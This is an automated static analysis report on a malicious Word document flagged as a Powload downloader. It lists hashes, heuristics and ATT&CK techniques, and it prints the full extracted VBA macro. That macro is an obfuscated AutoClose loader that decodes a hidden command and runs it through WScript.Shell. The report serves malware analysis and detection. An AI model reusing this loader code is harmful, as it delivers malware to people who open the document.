Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c1c6df93b8a8be07…

MALICIOUS

Office (OOXML)

53.3 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: be781592db7b68fcc27aeefe5dbec8b1 SHA-1: d4925c4922a8a989617812d58bac72dfb3e59212 SHA-256: c1c6df93b8a8be0778e11214954017d9bf9971e30bef80a4c2031aadb2c63e3b
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing an obfuscated VBA macro. The AutoClose macro executes a function that decodes a string and then calls Application.Run with the decoded string. This function likely uses WScript.Shell to download and execute a second-stage payload, as indicated by the 'OLE_VBA_SHELL' and 'OLE_VBA_WSCRIPT' heuristic firings. The ClamAV detection 'Doc.Downloader.Powload-6707242-0' further confirms its downloader capabilities.

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       canaliculus = "WScript.Shell"
   financings = DateDiff("s", #1/1/1970#, Now())
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "publicity", hissed
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If pennsylvania - financings > 1 Then
       CreateObject(Trim(canaliculus)).Run pleonast, 0
       boll = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  enjoyablenesses = Array("4", "X", "R", "", "u", "r", "d", "D", "d", "3", "R", "", "", "2", "8", "p", "p", "4", "1", "G", "4", "u", "1", "G", "q", "u", "X", "o", "d", "u", "X", "9", "4", "q", "f", "5", "x", "d", "r", "K", "1", "4", "p", "V", "0", "7", "p", "", "d", "G", "D", "r", "2", "R", "2", "T", "O", "", "4", "u", "J", "m", "1", "q", "9", "1", "Q", "x")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2085 bytes
SHA-256: c6cfcf7194c6c395f5e7fde9c310f5833858ee6f251282bacee3c43b1193b58a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function enamine(enjoyablenesses)
  copesman = Array("p", "r", "u", "5", "9", "8", "4", "V", "2", "0", "R", "J", "o", "T", "1", "", "d", "D", "G", "O", "m", "q", "3", "f", "K", "X", "x", "7", "Q")
  scholiasts = Array("/", ".", "a", "w", "d", ":", "m", "I", "p", "S", "h", "=", "i", "?", "o", "t", "e", "x", "r", "u", "g", "n", " ", "q", "c", "s", "j", "O", "l")
  
  waltzer = vbNullString
  
  For Each hurters In enjoyablenesses
    unshakable = jubile(hurters, copesman, UBound(copesman))
    If unshakable > -1 Then
    waltzer = scholiasts(unshakable) & waltzer
    End If
  Next
  
  enamine = StrReverse(waltzer)
  
End Function

Public Function jubile(jerkined, intermedin, accoucheur)
  anaptotic = 913
  wonk = 6672
  For anaptotic = 0 To accoucheur
    If intermedin(anaptotic) = jerkined Then
     wonk = anaptotic
    End If
  Next

  If wonk = 6672 Then
    wonk = -1
  End If
  
  jubile = wonk
End Function

Sub AutoClose()
  enjoyablenesses = Array("4", "X", "R", "", "u", "r", "d", "D", "d", "3", "R", "", "", "2", "8", "p", "p", "4", "1", "G", "4", "u", "1", "G", "q", "u", "X", "o", "d", "u", "X", "9", "4", "q", "f", "5", "x", "d", "r", "K", "1", "4", "p", "V", "0", "7", "p", "", "d", "G", "D", "r", "2", "R", "2", "T", "O", "", "4", "u", "J", "m", "1", "q", "9", "1", "Q", "x")
  hissed = enamine(enjoyablenesses)
  
  Application.Run "publicity", hissed
  
End Sub


Private Sub publicity(pleonast)
   
   canaliculus = "WScript.Shell"
   financings = DateDiff("s", #1/1/1970#, Now())
   boll = True
   
   While boll
     pennsylvania = financings + 60
     If pennsylvania - financings > 1 Then
       CreateObject(Trim(canaliculus)).Run pleonast, 0
       boll = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: ec2b92b47b4039cc93d25ba542fd7428a5b3ed273a7e591dbf827bb1d7486e7f
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: unlikely

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